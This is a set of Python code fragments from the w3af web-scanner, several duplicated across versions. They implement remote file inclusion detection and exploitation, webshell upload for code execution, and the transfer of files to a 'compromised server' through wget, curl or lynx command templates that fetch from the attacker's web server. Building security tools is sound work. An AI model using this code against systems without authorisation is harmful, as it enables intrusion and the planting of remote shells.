def transfer(self, strObject, destination): """ This method is used to transfer the strObject from w3af to the compromised server. """ if not self._command: self.canTransfer() commandTemplates = {} commandTemplates["wget"] = "wget http://%s:%s/%s -O %s" commandTemplates["lynx"] = "lynx -source http://%s:%s/%s > %s" commandTemplates["curl"] = "curl http://%s:%s/%s > %s" # Create the file filename = createRandAlpha(10) filePath = get_temp_dir() + os.path.sep + filename f = file(filePath, "w") f.write(strObject) f.close() # Start a web server on the inbound port and create the file that # will be fetched by the compromised host webserver.start_webserver(cf.cf.getData("localAddress"), self._inboundPort, get_temp_dir() + os.path.sep) commandToRun = commandTemplates[self._command] % ( cf.cf.getData("localAddress"), self._inboundPort, filename, destination, ) self._exec_method(commandToRun) os.remove(filePath) return self.verify_upload(strObject, destination)
def transfer(self, data_str, destination): ''' This method is used to transfer the data_str from w3af to the compromised server. ''' if not self._command: self.can_transfer() commandTemplates = {} commandTemplates['wget'] = 'wget http://%s:%s/%s -O %s' commandTemplates['lynx'] = 'lynx -source http://%s:%s/%s > %s' commandTemplates['curl'] = 'curl http://%s:%s/%s > %s' # Create the file filename = rand_alpha(10) file_path = get_temp_dir() + os.path.sep + filename f = file(file_path, 'w') f.write(data_str) f.close() # Start a web server on the inbound port and create the file that # will be fetched by the compromised host webserver.start_webserver(cf.cf.get('local_ip_address'), self._inbound_port, get_temp_dir()) commandToRun = commandTemplates[self._command] % \ (cf.cf.get('local_ip_address'), self._inbound_port, filename, destination) self._exec_method(commandToRun) os.remove(file_path) return self.verify_upload(data_str, destination)
def setUp(self): self.tempdir = tempfile.gettempdir() for port in xrange(self.PORT, self.PORT + 15): try: start_webserver(self.IP, port, self.tempdir) except: pass else: self.PORT = port break
def can_exploit(self, vuln_to_exploit=None): """ Searches the kb for vulnerabilities that this plugin can exploit, this is overloaded from AttackPlugin because I need to test for xss vulns also. This is a "complex" plugin. :param vuln_to_exploit: The id of the vulnerability to exploit. :return: True if plugin knows how to exploit a found vuln. """ if not self._listen_address and not self._use_XSS_vuln: msg = ( "You need to specify a local IP address where w3af can bind" " an HTTP server that can be reached by the vulnerable Web" " application." ) om.out.error(msg) return False rfi_vulns = kb.kb.get("rfi", "rfi") if vuln_to_exploit is not None: rfi_vulns = [v for v in rfi_vulns if v.get_id() == vuln_to_exploit] if not rfi_vulns: return False # # Ok, I have the RFI vulnerability to exploit, but... is the # plugin configured in such a way that exploitation is possible? # if self._use_XSS_vuln: usable_xss = self._verify_xss_vuln() # Using the good old webserver (if properly configured) if not self._listen_address and not usable_xss: msg = ( "You need to specify a local IP address where w3af can" " bind an HTTP server that can be reached by the" " vulnerable Web application." ) om.out.error(msg) return False if self._listen_address and self._listen_port: # Start local webserver, raise an exception if something # fails webroot_path = os.path.join(get_home_dir(), "webroot") try: webserver.start_webserver(self._listen_address, self._listen_port, webroot_path) except socket.error, se: msg = ( "Failed to start the local web server to exploit the" ' RFI vulnerability, the exception was: "%s".' ) om.out.error(msg % se) return False
def test_custom_web_server(self): RFIWebHandler.RESPONSE_BODY = '<? echo "hello world"; ?>' webserver.start_webserver('127.0.0.1', REMOTEFILEINCLUDE, '.', RFIWebHandler) response_foobar = urllib2.urlopen( 'http://localhost:44449/foobar').read() response_spameggs = urllib2.urlopen( 'http://localhost:44449/spameggs').read() self.assertEqual(response_foobar, response_spameggs) self.assertEqual(response_foobar, RFIWebHandler.RESPONSE_BODY)
def _local_test_inclusion(self, freq, orig_response): ''' Check for RFI using a local web server :param freq: A FuzzableRequest object :return: None, everything is saved to the kb ''' # # The listen address is an empty string when I have no default route # # Only work if: # - The listen address is private and the target address is private # - The listen address is public and the target address is public # if self._listen_address == '': return is_listen_priv = is_private_site(self._listen_address) is_target_priv = is_private_site(freq.get_url().get_domain()) if (is_listen_priv and is_target_priv) or \ not (is_listen_priv or is_target_priv): msg = 'RFI using local web server for URL: %s' % freq.get_url() om.out.debug(msg) try: # Create file for remote inclusion php_jsp_code, rfi_data = self._create_file() # Setup the web server handler to return always the same response # body. This is important for the test, since it might be the case # that the web application prepends/appends something to the # URL being included, and we don't want to fail there! # # Also, this allows us to remove the payloads we sent with \0 # which tried to achieve the same result. RFIWebHandler.RESPONSE_BODY = php_jsp_code # Start web server # # No real webroot is required since the custom handler returns # always the same HTTP response body webroot = '.' webserver.start_webserver(self._listen_address, self._listen_port, webroot, RFIWebHandler) # Perform the real work self._test_inclusion(freq, rfi_data, orig_response) except Exception, e: om.out.error('An error occurred while running local webserver:' ' "%s"' % e)
def test_custom_web_server(self): RFIWebHandler.RESPONSE_BODY = '<? echo "hello world"; ?>' webserver.start_webserver( '127.0.0.1', REMOTEFILEINCLUDE, '.', RFIWebHandler) response_foobar = urllib2.urlopen( 'http://localhost:44449/foobar').read() response_spameggs = urllib2.urlopen( 'http://localhost:44449/spameggs').read() self.assertEqual(response_foobar, response_spameggs) self.assertEqual(response_foobar, RFIWebHandler.RESPONSE_BODY)
def can_exploit(self, vuln_to_exploit=None): ''' Searches the kb for vulnerabilities that this plugin can exploit, this is overloaded from AttackPlugin because I need to test for xss vulns also. This is a "complex" plugin. :param vuln_to_exploit: The id of the vulnerability to exploit. :return: True if plugin knows how to exploit a found vuln. ''' if not self._listen_address and not self._use_XSS_vuln: msg = 'You need to specify a local IP address where w3af can bind'\ ' an HTTP server that can be reached by the vulnerable Web'\ ' application.' om.out.error(msg) return False rfi_vulns = kb.kb.get('rfi', 'rfi') if vuln_to_exploit is not None: rfi_vulns = [v for v in rfi_vulns if v.get_id() == vuln_to_exploit] if not rfi_vulns: return False # # Ok, I have the RFI vulnerability to exploit, but... is the # plugin configured in such a way that exploitation is possible? # if self._use_XSS_vuln: usable_xss = self._verify_xss_vuln() # Using the good old webserver (if properly configured) if not self._listen_address and not usable_xss: msg = 'You need to specify a local IP address where w3af can'\ ' bind an HTTP server that can be reached by the'\ ' vulnerable Web application.' om.out.error(msg) return False if self._listen_address and self._listen_port: # Start local webserver, raise an exception if something # fails webroot_path = os.path.join(get_home_dir(), 'webroot') try: webserver.start_webserver(self._listen_address, self._listen_port, webroot_path) except socket.error, se: msg = 'Failed to start the local web server to exploit the'\ ' RFI vulnerability, the exception was: "%s".' om.out.error(msg % se) return False
def run(self): ''' Starts the http server that will become a proxy. ''' if self._rfiConnGenerator == '': # If user failed to configure self._rfiConnGenerator we will run a webserver # and configure the _rfiConnGenerator attr for him om.out.information('Running a local httpd to serve the RFI connection generator to remote web app.') webroot = os.path.join('plugins', 'attack', 'rfiProxy') webserver.start_webserver(self._proxyPublicIP, self._httpdPort, webroot) self._rfiConnGenerator = 'http://' + self._proxyPublicIP + ':' + str(self._httpdPort) + '/rfip.txt' ### TODO: I really dislike this: global url global exploitData global variable global rfiConnGenerator # We should change it to something like this: # #>>> import new #>>> class A(object): # def foo(self): # print self.x #>>> B = new.classobj('B', (A,), {'x': 1}) #>>> b = B() #>>> b.foo() #1 #>>> # # Kudos to Javier for the nice solution :) url = self._url exploitData = self._exploitData rfiConnGenerator = self._rfiConnGenerator variable = self._variable self._proxy = HTTPServer((self._proxyAddress, self._proxyPort ), w3afProxyHandler ) message = 'Proxy server running on '+ self._proxyAddress + ':'+ str(self._proxyPort) +' .' message += ' You may now configure this proxy in w3af or your browser. ' om.out.information( message ) self._running = True while self._go: try: self._proxy.handle_request() except: self._proxy.server_close()
def _local_test_inclusion(self, freq): ''' Check for RFI using a local web server @param freq: A fuzzableRequest object @return: None, everything is saved to the kb ''' # # The listen address is an empty string when I have no default route # # Only work if: # - The listen address is private and the target address is private # - The listen address is public and the target address is public # if self._listen_address == '': return is_listen_priv = is_private_site(self._listen_address) is_target_priv = is_private_site(freq.getURL().getDomain()) if (is_listen_priv and is_target_priv) or \ not (is_listen_priv or is_target_priv): om.out.debug('RFI test using local web server for URL: ' + freq.getURL()) om.out.debug('w3af is running a webserver') try: # Create file for remote inclusion self._create_file() # Start web server webroot = os.path.join(get_home_dir(), 'webroot') webserver.start_webserver(self._listen_address, self._listen_port, webroot) # Perform the real work self._test_inclusion(freq) # Wait for threads to finish self._tm.join(self) except Exception,e: msg = 'An error occurred while running local webserver: "%s"' % str(e) om.out.error( msg ) finally:
def _verifyVuln(self, vuln): ''' This command verifies a vuln. This is really hard work! @return : True if vuln can be exploited. ''' # Create the shell extension = urlParser.getExtension( vuln.getURL() ) # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells( extension ) for file_content, real_extension in shell_list: # # This for loop aims to exploit the RFI vulnerability and get remote # code execution. # if extension == '': extension = real_extension url_to_include = self._gen_url_to_include(file_content, extension) # Start local webserver webroot_path = os.path.join(get_home_dir(), 'webroot') webserver.start_webserver(self._listen_address, self._listen_port, webroot_path) # Prepare for exploitation... function_reference = getattr(self._urlOpener, vuln.getMethod()) data_container = vuln.getDc() data_container[vuln.getVar()] = url_to_include try: http_res = function_reference(vuln.getURL(), str(data_container)) except: successfully_exploited = False else: successfully_exploited = self._define_exact_cut( http_res.getBody(), shell_handler.SHELL_IDENTIFIER) if successfully_exploited: self._exploit_dc = data_container return SUCCESS_COMPLETE else: # Remove the file from the local webserver webroot self._rm_file(url_to_include) else: # # We get here when it was impossible to create a RFI shell, but we # still might be able to do some interesting stuff # function_reference = getattr( self._urlOpener , vuln.getMethod() ) data_container = vuln.getDc() # A port that should "always" be closed, data_container[ vuln.getVar() ] = 'http://localhost:92/' try: http_response = function_reference( vuln.getURL(), str(data_container) ) except: return False else: rfi_errors = ['php_network_getaddresses: getaddrinfo', 'failed to open stream: Connection refused in'] for error in rfi_errors: if error in http_response.getBody(): return SUCCESS_OPEN_PORT return NO_SUCCESS